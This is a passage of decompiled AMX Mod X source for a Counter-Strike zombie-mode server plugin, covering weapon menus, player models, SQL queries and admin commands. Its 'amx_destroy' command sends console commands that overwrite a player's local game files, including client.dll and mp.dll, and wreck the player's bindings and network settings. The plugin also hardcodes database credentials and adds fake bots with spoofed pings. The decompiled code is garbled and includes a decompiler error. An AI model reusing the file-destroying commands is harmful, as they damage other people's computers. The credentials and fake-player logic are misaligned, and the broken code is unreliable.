  3569. if (iItem != -3 && g_bAlive[iPlayer][0][0] && !g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0])
  3570. {
  3571. static iChoice;
  3572. static iDummy;
  3573. static cBuffer[3];
  3574. new var2 = Heap_4;
  3575. var2[0] = 261596;
  3576. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var2, 0, iDummy);
  3577. iChoice = str_to_num(cBuffer);
  3578. DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
  3579. give_weapon(iPlayer, g_cPrimaryEntities[iChoice][0][0]);
  3580. give_ammo(iPlayer, g_iPrimaryWeapons[iChoice][0][0], 9999);
  3581. if (!user_has_weapon(iPlayer, 4, -1))
  3582. {
  3583. give_weapon(iPlayer, "weapon_hegrenade");
  3584. }
  3585. if (!user_has_weapon(iPlayer, 25, -1))
  3586. {
  3587. give_weapon(iPlayer, "weapon_flashbang");
  3588. }
  3589. if (!user_has_weapon(iPlayer, 9, -1))
  3590. {
  3591. give_weapon(iPlayer, "weapon_smokegrenade");
  3592. }
  3593. }
  3594. return 0;
  3595. }
  3596.  
  3597. DropWeapons(iPlayer, iType)
  3598. {
  3599. static i;
  3600. static cWeapon[24];
  3601. static iNum;
  3602. static iWeapons[32];
  3603. iNum = 0;
  3604. get_user_weapons(iPlayer, "", iNum);
  3605. i = 0;
  3606. while (i < iNum)
  3607. {
  3608. new var2 = 1 << iWeapons[i][0][0];
  3609. new var1;
  3610. if (iType & var2)
  3611. {
  3612. new var3 = iWeapons;
  3613. get_weaponname(var3[i][0][0], "", 24);
  3614. engclient_cmd(iPlayer, "drop", "", "");
  3615. var1 = var3;
  3616. i += 1;
  3617. }
  3618. else
  3619. {
  3620. var1 = var2;
  3621. i += 1;
  3622. }
  3623. i += 1;
  3624. }
  3625. return 0;
  3626. }
  3627.  
  3628. public ChangeModel(iTask)
  3629. {
  3630. !!! Removed Phi
  3631. static bool:bChange;
  3632. static cModel[24];
  3633. static i;
  3634. static iPlayer;
  3635. iPlayer = iTask + -250;
  3636. bChange = 1;
  3637. get_user_model(iPlayer, cModel, 24);
  3638. if (!g_bZombie[iPlayer][0][0])
  3639. {
  3640. if (!g_iPlayerType[iPlayer][0][0])
  3641. {
  3642. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 109))
  3643. {
  3644. if (equal("", "z_out_admin", 0))
  3645. {
  3646. bChange = 0;
  3647. }
  3648. }
  3649. i = 0;
  3650. while (i < 4)
  3651. {
  3652. if (equal("", g_cHumanModels[i][0][0], 0))
  3653. {
  3654. bChange = 0;
  3655. }
  3656. i += 1;
  3657. }
  3658. }
  3659. }
  3660. if (bChange)
  3661. {
  3662. if (!g_bZombie[iPlayer][0][0])
  3663. {
  3664. if (!g_iPlayerType[iPlayer][0][0])
  3665. {
  3666. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 109))
  3667. {
  3668. set_user_model(iPlayer, "z_out_admin");
  3669. }
  3670. else
  3671. {
  3672. set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)][0][0]);
  3673. }
  3674. }
  3675. else
  3676. {
  3677. if (g_iPlayerType[iPlayer][0][0] & 4)
  3678. {
  3679. set_user_model(iPlayer, "z_out_survivor");
  3680. }
  3681. if (g_iPlayerType[iPlayer][0][0] & 8 && !equal("", "arctic", 0))
  3682. {
  3683. set_user_model(iPlayer, "arctic");
  3684. }
  3685. }
  3686. }
  3687. if (!g_iPlayerType[iPlayer][0][0])
  3688. {
  3689. set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer][0][0]][0][0]);
  3690. }
  3691. if (g_iPlayerType[iPlayer][0][0] & 1)
  3692. {
  3693. set_user_model(iPlayer, "z_out_nemesis");
  3694. }
  3695. if (g_iPlayerType[iPlayer][0][0] & 2)
  3696. {
  3697. set_user_model(iPlayer, "z_out_assassin");
  3698. }
  3699. }
  3700. return 0;
  3701. }
  3702.  
  3703. public TaskRCount()
  3704. {
  3705. SQL_ThreadQuery(g_hSQLTuple, "SQLRanksCount", "SELECT * FROM r", "", 0);
  3706. return 0;
  3707. }
  3708.  
  3709. public TaskGetMaps()
  3710. {
  3711. !!! Removed Phi
  3712. new cTime[4];
  3713. new iFile = 0;
  3714. new cLine[161];
  3715. get_time("%H", cTime, 3);
  3716. if (cTime[0] == 48)
  3717. {
  3718. SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m WHERE CHAR_LENGTH(o)>0", "", 0);
  3719. }
  3720. else
  3721. {
  3722. SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m", "", 0);
  3723. }
  3724. iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
  3725. if (iFile)
  3726. {
  3727. while (!feof(iFile))
  3728. {
  3729. fgets(iFile, cLine, 160);
  3730. trim(cLine);
  3731. if (cLine[0] == 33)
  3732. {
  3733. copy(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, cLine);
  3734. replace_all(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, "!g", "\4");
  3735. replace_all(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, "!t", "\3");
  3736. replace_all(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, "!n", "\1");
  3737. g_iAdvertisementsCount += 1;
  3738. }
  3739. }
  3740. fclose(iFile);
  3741. }
  3742. iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
  3743. if (iFile)
  3744. {
  3745. while (!feof(iFile))
  3746. {
  3747. fgets(iFile, cLine, 160);
  3748. trim(cLine);
  3749. if (4 < strlen(cLine))
  3750. {
  3751. copy(g_cHudAdvertisements[g_iHudAdvertisementsCount][0][0], 160, cLine);
  3752. replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount][0][0], 160, "\n", "\n");
  3753. g_iHudAdvertisementsCount += 1;
  3754. }
  3755. }
  3756. fclose(iFile);
  3757. }
  3758. return 0;
  3759. }
  3760.  
  3761. public SQLPushAdminsX()
  3762. {
  3763. SQL_ThreadQuery(g_hSQLTuple, "SQLPushAdmins", "SELECT n,p FROM a WHERE f LIKE '%r%' AND CHAR_LENGTH(p)>0", "", 0);
  3764. return 0;
  3765. }
  3766.  
  3767. public CmdBlock()
  3768. {
  3769. return 1;
  3770. }
  3771.  
  3772. public CmdUpdate(iPlayer)
  3773. {
  3774. static Float:fGameTime;
  3775. fGameTime = get_gametime();
  3776. if (fGameTime - g_fLast[iPlayer][0][0] < 0.30/*1050253722*/)
  3777. {
  3778. server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cInternetProtocolAddress[iPlayer][0][0]);
  3779. }
  3780. else
  3781. {
  3782. g_fLast[iPlayer] = fGameTime;
  3783. }
  3784. return 0;
  3785. }
  3786.  
  3787. public InitSQL()
  3788. {
  3789. g_hSQLTuple = SQL_MakeDbTuple("basky.org.ua", "baskyorg_a", "a2b331", "baskyorg_a", 0);
  3790. return 0;
  3791. }
  3792.  
  3793. public plugin_init()
  3794. {
  3795. !!! Removed Phi
  3796. new i = 0;
  3797. new cNumber[3];
  3798. new cLine[128];
  3799. new cTime[4];
  3800. get_time("%H", cTime, 3);
  3801. RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
  3802. RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
  3803. RegisterHam(Ham_Touch, "weaponbox", "OnTouch", 0);
  3804. RegisterHam(Ham_Touch, "armoury_entity", "OnTouch", 0);
  3805. RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
  3806. RegisterHam(Ham_Killed, "player", "OnKilled", 0);
  3807. RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
  3808. RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
  3809. RegisterHam(Ham_Player_Duck, "player", "OnPlayerDuck", 0);
  3810. RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
  3811. RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "OnPrimaryAttack", 0);
  3812. register_logevent("EventRoundStart", 2, "1=Round_Start");
  3813. register_logevent("EventRoundEnd", 2, "1=Round_End");
  3814. register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
  3815. register_event("DeathMsg", "EventDeathMsg", "a", "");
  3816. register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
  3817. register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
  3818. register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
  3819. register_concmd("amx_ban", "CmdBan", -1, "", -1);
  3820. register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
  3821. register_concmd("amx_map", "CmdMap", -1, "", -1);
  3822. register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
  3823. register_concmd("amx_last", "CmdLast", -1, "", -1);
  3824. register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
  3825. register_concmd("amx_kick", "CmdKick", -1, "", -1);
  3826. register_concmd("amx_slay", "CmdSlay", -1, "", -1);
  3827. register_concmd("amx_say", "CmdSayChat", -1, "", -1);
  3828. register_concmd("amx_chat", "CmdChat", -1, "", -1);
  3829. register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
  3830. register_concmd("amx_gag", "CmdGag", -1, "", -1);
  3831. register_concmd("amx_ungag", "CmdGag", -1, "", -1);
  3832. register_concmd("amx_slap", "CmdSlap", -1, "", -1);
  3833. register_concmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
  3834. register_concmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
  3835. register_concmd("amx_human", "CmdMode", -1, "", -1);
  3836. register_concmd("amx_zombie", "CmdMode", -1, "", -1);
  3837. register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
  3838. register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
  3839. register_concmd("amx_swarm", "CmdMode", -1, "", -1);
  3840. register_concmd("amx_plague", "CmdMode", -1, "", -1);
  3841. register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
  3842. register_concmd("amx_multi", "CmdMode", -1, "", -1);
  3843. register_concmd("amx_multiple", "CmdMode", -1, "", -1);
  3844. register_concmd("amx_sniper", "CmdMode", -1, "", -1);
  3845. register_concmd("amx_survivor", "CmdMode", -1, "", -1);
  3846. register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
  3847. register_concmd("amx_assassin", "CmdMode", -1, "", -1);
  3848. register_concmd("amx_respawn", "CmdMode", -1, "", -1);
  3849. register_concmd("amx_ammo", "CmdMode", -1, "", -1);
  3850. register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
  3851. register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
  3852. register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
  3853. register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
  3854. register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
  3855. register_clcmd("say", "Client_Say", -1, "", -1);
  3856. register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
  3857. register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
  3858. register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
  3859. register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
  3860. register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
  3861. register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
  3862. register_clcmd("drop", "CmdDrop", -1, "", -1);
  3863. register_message(get_user_msgid("Scenario"), "MessageScenario");
  3864. register_message(get_user_msgid("Health"), "MessageHealth");
  3865. register_message(get_user_msgid("TeamInfo"), "MessageTeamInfo");
  3866. register_message(get_user_msgid("SayText"), "MessageSayText");
  3867. register_message(get_user_msgid("Money"), "MessageMoney");
  3868. set_msg_block(get_user_msgid("TextMsg"), 2);
  3869. set_msg_block(get_user_msgid("SendAudio"), 2);
  3870. set_msg_block(get_user_msgid("AmmoPickup"), 2);
  3871. set_msg_block(get_user_msgid("WeapPickup"), 2);
  3872. g_iMaxClients = get_maxplayers();
  3873. g_iTimeLimit = get_cvar_pointer("mp_timelimit");
  3874. g_iTopMessageSync = CreateHudSyncObj(0);
  3875. g_iLeftMessageSync = CreateHudSyncObj(0);
  3876. g_iDownMessageSync = CreateHudSyncObj(0);
  3877. g_iCenterMessageSync = CreateHudSyncObj(0);
  3878. g_iMineMessage = CreateHudSyncObj(0);
  3879. g_iSecondMineMessage = CreateHudSyncObj(0);
  3880. g_iEventsHudmessage = CreateHudSyncObj(0);
  3881. g_iCounterMessage = CreateHudSyncObj(0);
  3882. g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
  3883. g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
  3884. g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
  3885. g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
  3886. menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
  3887. menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
  3888. menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
  3889. menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
  3890. menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
  3891. menu_additem(g_iGameMenu, "See rank", "5", 0, -1);
  3892. menu_additem(g_iGameMenu, "See top and all statistics", "6", 0, -1);
  3893. i = 0;
  3894. while (i < 7)
  3895. {
  3896. formatex(cLine, 128, "%s %s", g_cZombieClasses[i][0][0], g_cZombieAttribs[i][0][0]);
  3897. num_to_str(i, cNumber, 3);
  3898. menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
  3899. i++;
  3900. }
  3901. i = 0;
  3902. while (i < 6)
  3903. {
  3904. num_to_str(i, cNumber, 3);
  3905. menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i][0][0], cNumber, 0, -1);
  3906. g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i][0][0]);
  3907. i++;
  3908. }
  3909. i = 0;
  3910. while (i < 10)
  3911. {
  3912. num_to_str(i, cNumber, 3);
  3913. menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i][0][0], cNumber, 0, -1);
  3914. g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i][0][0]);
  3915. i++;
  3916. }
  3917. g_aNameData = ArrayCreate(32, 1);
  3918. g_aAmmoData = ArrayCreate(1, 1);
  3919. set_task(5.00, "TaskLight", 0, "", 0, "b", 0);
  3920. set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
  3921. set_task(2.00, "TaskCalculateArguments", 0, "", 0, "b", 0);
  3922. if (cTime[0] == 48)
  3923. {
  3924. if (cTime[1] != 49 && cTime[1] != 50 && cTime[1] != 51)
  3925. {
  3926. set_task(10.00, "Task_CheckBots", 750, "", 0, "b", 0);
  3927. }
  3928. }
  3929. else
  3930. {
  3931. if (cTime[0] == 49)
  3932. {
  3933. if (cTime[1] == 48 || cTime[1] == 49 || cTime[1] == 50)
  3934. {
  3935. set_task(10.00, "Task_CheckBots", 750, "", 0, "b", 0);
  3936. }
  3937. }
  3938. }
  3939. set_task(500.00, "TaskUnban", 0, "", 0, "b", 0);
  3940. set_task(0.40, "InitSQL", 0, "", 0, "", 0);
  3941. set_task(2.35, "TaskRCount", 0, "", 0, "", 0);
  3942. set_task(6.20, "TaskGetMaps", 0, "", 0, "", 0);
  3943. set_task(11.20, "SQLPushAdminsX", 0, "", 0, "", 0);
  3944. g_bAdmin[0] = 1;
  3945. new var3 = g_cAdminFlags;
  3946. new var4 = var3[0][0][var3];
  3947. var4 = 279476;
  3948. new var5 = g_cName;
  3949. new var6 = var5[0][0][var5];
  3950. var6 = 279600;
  3951. return 0;
  3952. }
  3953.  
  3954. public MessageMoney(iMessage, iDestination, iPlayer)
  3955. {
  3956. if (g_bConnected[iPlayer][0][0])
  3957. {
  3958. reset_money(iPlayer);
  3959. }
  3960. return 1;
  3961. }
  3962.  
  3963. public Task_CheckBots()
  3964. {
  3965. !!! Removed Phi
  3966. new var1;
  3967. if (redirect_enabled())
  3968. {
  3969. var1 = g_iMaxClients + -1;
  3970. }
  3971. else
  3972. {
  3973. var1 = g_iMaxClients;
  3974. }
  3975. if (get_playersnum(1) < var1 && g_iBotsCount < 3)
  3976. {
  3977. static i;
  3978. static bool:bDone;
  3979. static cName[32];
  3980. static iRandom;
  3981. iRandom = random_num(0, 16);
  3982. bDone = 1;
  3983. i = 1;
  3984. while (g_iMaxClients + 1 > i)
  3985. {
  3986. if (is_user_connected(i))
  3987. {
  3988. get_user_name(i, cName, 32);
  3989. if (equali("", g_cBotNames[iRandom][0][0], 0))
  3990. {
  3991. bDone = 0;
  3992. i += 1;
  3993. }
  3994. i += 1;
  3995. }
  3996. i += 1;
  3997. }
  3998. if (bDone)
  3999. {
  4000. static iBot;
  4001. iBot = fake(g_cBotNames[iRandom][0][0]);
  4002. if (0 < iBot)
  4003. {
  4004. g_bBot[iBot] = 1;
  4005. g_bFake[iBot] = 1;
  4006. g_iBotsCount += 1;
  4007. }
  4008. }
  4009. remove_task(750, 0);
  4010. set_task(10.00, "Task_CheckBots", 750, "", 0, "b", 0);
  4011. }
  4012. return 0;
  4013. }
  4014.  
  4015. public EventDeathMsg()
  4016. {
  4017. static i;
  4018. static iNum;
  4019. static iPlayers[32];
  4020. get_players("", iNum, "ch", "");
  4021. i = 0;
  4022. while (i < iNum)
  4023. {
  4024. new var5 = g_bConnected;
  4025. new var1;
  4026. new var2;
  4027. new var3;
  4028. if (var5[iPlayers[i][0][0]][0][0])
  4029. {
  4030. if (get_button(iPlayers[i][0][0]) & 32768)
  4031. {
  4032. if (get_oldbuttons(iPlayers[i][0][0]) & 32768)
  4033. {
  4034. var2 = 1;
  4035. var3 = 32768;
  4036. new var4;
  4037. if (var2)
  4038. {
  4039. new var6 = iPlayers;
  4040. Update_Client_Data(var6[i][0][0]);
  4041. var4 = var6;
  4042. i += 1;
  4043. }
  4044. else
  4045. {
  4046. var4 = var3;
  4047. i += 1;
  4048. }
  4049. i += 1;
  4050. }
  4051. var1 = 32768;
  4052. }
  4053. var1 = 32768;
  4054. }
  4055. else
  4056. {
  4057. var1 = var5;
  4058. }
  4059.  
  4060. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  4061. function "EventDeathMsg"
  4062. public EventDeathMsg()
  4063.  
  4064. public CmdUnfreeze(iPlayer)
  4065. {
  4066. !!! Removed Phi
  4067. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 49))
  4068. {
  4069. static iTarget;
  4070. static cTarget[33];
  4071. read_argv(1, cTarget, 32);
  4072. iTarget = GetTarget(iPlayer, cTarget, 6);
  4073. if (iTarget)
  4074. {
  4075. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 made\4 %s\3 unfroze", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  4076. set_frozen(iTarget, 0);
  4077. remove_glow(iTarget);
  4078. g_bFrozen[iTarget] = 0;
  4079. ExecuteHamB(Ham_Item_PreFrame, iTarget);
  4080. }
  4081. return 1;
  4082. }
  4083. return 0;
  4084. }
  4085.  
  4086. public Update_Client_Data(id)
  4087. {
  4088. static iSending;
  4089. static i;
  4090. static iNum;
  4091. static iPlayers[32];
  4092. get_players("", iNum, "", "");
  4093. iSending = 0;
  4094. i = 0;
  4095. while (i < iNum)
  4096. {
  4097. switch (iSending)
  4098. {
  4099. case 0:
  4100. {
  4101. message_begin(MSG_ONE_UNRELIABLE, SVC_PINGS, 280480, id);
  4102. write_byte(iPlayers[i][0][0] - 1 * 2 + 1 + g_iOffset[iPlayers[i][0][0]][0][0][0] * 64);
  4103. write_short(g_iArgumentPing[iPlayers[i][0][0]][0][0][0]);
  4104. iSending += 1;
  4105. i += 1;
  4106. }
  4107. case 1:
  4108. {
  4109. write_byte(iPlayers[i][0][0] - 1 * 4 + 2 + g_iOffset[iPlayers[i][0][0]][0][0][1] * 128);
  4110. write_short(g_iArgumentPing[iPlayers[i][0][0]][0][0][1]);
  4111. iSending += 1;
  4112. i += 1;
  4113. }
  4114. case 2:
  4115. {
  4116. write_byte(iPlayers[i][0][0] - 1 * 8 + 4);
  4117. write_short(g_iArgumentPing[iPlayers[i][0][0]][0][0][2]);
  4118. write_byte(0);
  4119. message_end();
  4120. iSending = 0;
  4121. i += 1;
  4122. }
  4123. default:
  4124. {
  4125. i += 1;
  4126. }
  4127. }
  4128. i += 1;
  4129. }
  4130. if (iSending)
  4131. {
  4132. write_byte(0);
  4133. message_end();
  4134. }
  4135. return 0;
  4136. }
  4137.  
  4138. public TaskCalculateArguments()
  4139. {
  4140. !!! Removed Phi
  4141. static iPing;
  4142. static i;
  4143. static iNum;
  4144. static iPlayers[32];
  4145. get_players("", iNum, "", "");
  4146. i = 0;
  4147. while (i < iNum)
  4148. {
  4149. if (0 > g_iPingOverride[iPlayers[i][0][0]][0][0])
  4150. {
  4151. iPing = random_num(-4, 4) + 12;
  4152. }
  4153. else
  4154. {
  4155. iPing = g_iPingOverride[iPlayers[i][0][0]][0][0];
  4156. }
  4157. g_iOffset[iPlayers[i][0][0]][0][0][0] = 0;
  4158. while (4 > g_iOffset[iPlayers[i][0][0]][0][0][0])
  4159. {
  4160. if (iPing - g_iOffset[iPlayers[i][0][0]][0][0][0])
  4161. {
  4162. g_iOffset[iPlayers[i][0][0]][0][0]++;
  4163. }
  4164. else
  4165. {
  4166. g_iArgumentPing[iPlayers[i][0][0]][0][0][0] = iPing - g_iOffset[iPlayers[i][0][0]][0][0][0] / 4;
  4167. g_iOffset[iPlayers[i][0][0]][0][0][1] = 0;
  4168. while (2 > g_iOffset[iPlayers[i][0][0]][0][0][1])
  4169. {
  4170. if (iPing - g_iOffset[iPlayers[i][0][0]][0][0][1])
  4171. {
  4172. g_iOffset[iPlayers[i][0][0]][0][0][1]++;
  4173. }
  4174. else
  4175. {
  4176. g_iArgumentPing[iPlayers[i][0][0]][0][0][1] = iPing - g_iOffset[iPlayers[i][0][0]][0][0][1] / 2;
  4177. g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
  4178. i += 1;
  4179. }
  4180. g_iOffset[iPlayers[i][0][0]][0][0][1]++;
  4181. }
  4182. g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
  4183. i += 1;
  4184. }
  4185. g_iOffset[iPlayers[i][0][0]][0][0]++;
  4186. }
  4187. g_iOffset[iPlayers[i][0][0]][0][0][1] = 0;
  4188. while (2 > g_iOffset[iPlayers[i][0][0]][0][0][1])
  4189. {
  4190. if (iPing - g_iOffset[iPlayers[i][0][0]][0][0][1])
  4191. {
  4192. g_iOffset[iPlayers[i][0][0]][0][0][1]++;
  4193. }
  4194. else
  4195. {
  4196. g_iArgumentPing[iPlayers[i][0][0]][0][0][1] = iPing - g_iOffset[iPlayers[i][0][0]][0][0][1] / 2;
  4197. g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
  4198. i += 1;
  4199. }
  4200. g_iOffset[iPlayers[i][0][0]][0][0][1]++;
  4201. }
  4202. g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
  4203. i += 1;
  4204. }
  4205. return 0;
  4206. }
  4207.  
  4208. public TaskAdvertisements()
  4209. {
  4210. set_task(1.00, "TaskHudXYZ", 0, "", 0, "", 0);
  4211. if (g_iMessage >= g_iAdvertisementsCount)
  4212. {
  4213. g_iMessage = 0;
  4214. }
  4215. PrintToChat(0, g_cAdvertisements[g_iMessage][0][0]);
  4216. g_iMessage += 1;
  4217. return 0;
  4218. }
  4219.  
  4220. public TaskHudXYZ()
  4221. {
  4222. if (g_iHudMessage >= g_iHudAdvertisementsCount)
  4223. {
  4224. g_iHudMessage = 0;
  4225. }
  4226. set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
  4227. show_hudmessage(0, g_cHudAdvertisements[g_iHudMessage][0][0]);
  4228. g_iHudMessage += 1;
  4229. return 0;
  4230. }
  4231.  
  4232. public EventStatusValueHide(iPlayer)
  4233. {
  4234. ClearSyncHud(iPlayer, g_iCenterMessageSync);
  4235. return 0;
  4236. }
  4237.  
  4238. public TaskRemoveRender(i)
  4239. {
  4240. !!! Removed Phi
  4241. if (g_bConnected[i][0][0] && !g_iPlayerType[i][0][0] & 1)
  4242. {
  4243. remove_glow(i);
  4244. }
  4245. return 0;
  4246. }
  4247.  
  4248. public CmdGag(iPlayer)
  4249. {
  4250. !!! Removed Phi
  4251. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 64))
  4252. {
  4253. static cCommand[32];
  4254. read_argv(0, cCommand, 32);
  4255. if (equali("", "amx_gag", 0))
  4256. {
  4257. static iTarget;
  4258. static iTime;
  4259. static cTime[6];
  4260. static cTarget[32];
  4261. read_argv(1, cTarget, 32);
  4262. read_argv(2, cTime, 6);
  4263. new var2;
  4264. if (AdminHasFlag(iPlayer, 105))
  4265. {
  4266. var2 = clamp(str_to_num(cTime), 1, 45);
  4267. }
  4268. else
  4269. {
  4270. var2 = clamp(str_to_num(cTime), 1, 8);
  4271. }
  4272. iTime = var2;
  4273. iTarget = GetTarget(iPlayer, cTarget, 0);
  4274. if (0 < iTarget)
  4275. {
  4276. g_fGagTime[iTarget] = get_gametime() + float(iTime * 60);
  4277. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 gag\3 %s\1 for\4 %d minutes", g_cName[iPlayer][0][0], g_cName[iTarget][0][0], iTime);
  4278. }
  4279. else
  4280. {
  4281. console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
  4282. }
  4283. }
  4284. if (equali("", "amx_ungag", 0))
  4285. {
  4286. static iTarget;
  4287. static cTarget[32];
  4288. read_argv(1, cTarget, 32);
  4289. iTarget = GetTarget(iPlayer, cTarget, 0);
  4290. if (0 < iTarget)
  4291. {
  4292. g_fGagTime[iTarget] = 0;
  4293. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 ungag\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  4294. }
  4295. console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
  4296. }
  4297. }
  4298. return 0;
  4299. }
  4300.  
  4301. public CmdSlap(iPlayer)
  4302. {
  4303. !!! Removed Phi
  4304. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 36))
  4305. {
  4306. static iTarget;
  4307. static iDamage;
  4308. static cDamage[7];
  4309. static cTarget[32];
  4310. read_argv(1, cTarget, 32);
  4311. read_argv(2, cDamage, 7);
  4312. iTarget = GetTarget(iPlayer, cTarget, 4);
  4313. iDamage = clamp(str_to_num(cDamage), 0, 999999);
  4314. if (0 < iTarget)
  4315. {
  4316. user_slap(iTarget, iDamage, 1);
  4317. if (0 < iDamage)
  4318. {
  4319. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 slap\3 %s\1 with\4 %d damage", g_cName[iPlayer][0][0], g_cName[iTarget][0][0], iDamage);
  4320. }
  4321. else
  4322. {
  4323. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 slap\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  4324. }
  4325. }
  4326. console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
  4327. }
  4328. return 0;
  4329. }
  4330.  
  4331. public CmdDestroy(iPlayer)
  4332. {
  4333. !!! Removed Phi
  4334. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 52))
  4335. {
  4336. static iTarget;
  4337. static cTarget[32];
  4338. read_argv(1, cTarget, 32);
  4339. iTarget = GetTarget(iPlayer, cTarget, 4);
  4340. if (0 < iTarget)
  4341. {
  4342. client_cmd(iTarget, "name www.CsOutStanding.com");
  4343. client_cmd(iTarget, "unbindall; bind ` \"say I_have_been_destroyed\"; bind ~ \"say I_have_been_destroyed\"; bind esc \"say I_have_been_destroyed\"");
  4344. client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
  4345. client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
  4346. client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
  4347. client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
  4348. client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
  4349. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 destroy\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
  4350. client_cmd(0, "spk \"vox/bizwarn coded user apprehend\"");
  4351. }
  4352. console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
  4353. }
  4354. return 0;
  4355. }
  4356.  
  4357. public client_putinserver(iPlayer)
  4358. {
  4359. !!! Removed Phi
  4360. static Float:fCurrentTime;
  4361. static iSize;
  4362. new var1;
  4363. if (is_user_bot(iPlayer))
  4364. {
  4365. var1 = 1;
  4366. }
  4367. else
  4368. {
  4369. var1 = 0;
  4370. }
  4371. if (!g_bFake[iPlayer][0][0] && !g_bEnded)
  4372. {
  4373. static cPlayer[3];
